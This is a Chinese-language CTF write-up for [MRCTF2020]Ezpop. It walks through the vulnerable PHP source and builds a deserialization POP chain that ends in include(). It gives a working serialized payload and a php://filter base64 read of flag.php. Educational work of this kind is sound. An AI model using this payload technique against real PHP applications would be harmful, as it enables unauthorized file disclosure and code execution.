乱七八糟的web题
[MRCTF2020]Ezpop(php反序列化)
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
拿到一个php反序列化的题 习惯上先把每个类定义一遍
$mod = new Modifier;
$show = new Show;
$test = new Test;
接着找哪里可以被利用得到flag
public function append($value){include($value);}
可以通过include()包含来获得flag 其中include()中的参数来自append()
public function __invoke(){$this->append($this->var);}
而append()中的参数来自于Modifier类中的var 但要注意源码中使用protected来定义的var 并不能直接通过$mod->var=flag.php修改 可以在源代码中直接修改
protected $var = "flag.php";
接着需要使__invoke()被调用
__invoke() //调用函数的方式调用一个对象时的回应方法
这里有个小tips 简单的题目中会用调用参数的类型来为参数命名 即此处的$function
public function __get($key){$function = $this->p;return $function();}
所以只要把Test类中的p改为Modifier类 即可自动调用其中的__invoke()方法 所以构造:
$test->p = $mod;
接着再来触发__get()
__get() //读取不可访问属性的值时会被调用
public function __toString(){return $this->str->source;}
这里的str->source就可以用来触发__get()
$show->str = $test;
个人理解:将str=$test后运行str->source 因为Test类中并不存在source 所以不能被访问 即触发Test中的__get()
__toString() //类被当成字符串时的回应方法
public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}
然后找到唯一一处有字符串的地方来触发__toString()
$show->source = $show;
而__construct()在我们之前定义类的时候就被自动调用了
最后梳理一下整体思路:
创建类 -> Show::__construct() -> Show::__toString() -> Test::__get() -> Modifier::__invoke -> Modifier::append()
附图解:
运行得到payload为
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}
但提交后没有回显 进行url编码后再次提交

运行flag.php会显示help me find flag 而题目源码又提示flag is in flag.php 所以需要进一步去flag.php的源码中找 需要用到文件包含中的php伪协议 正好对应没用过的__wakeup()方法 所以将一开始的var改为php://来查看源码
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
最后提交payload 将得到的base64编码进行解码得到flag
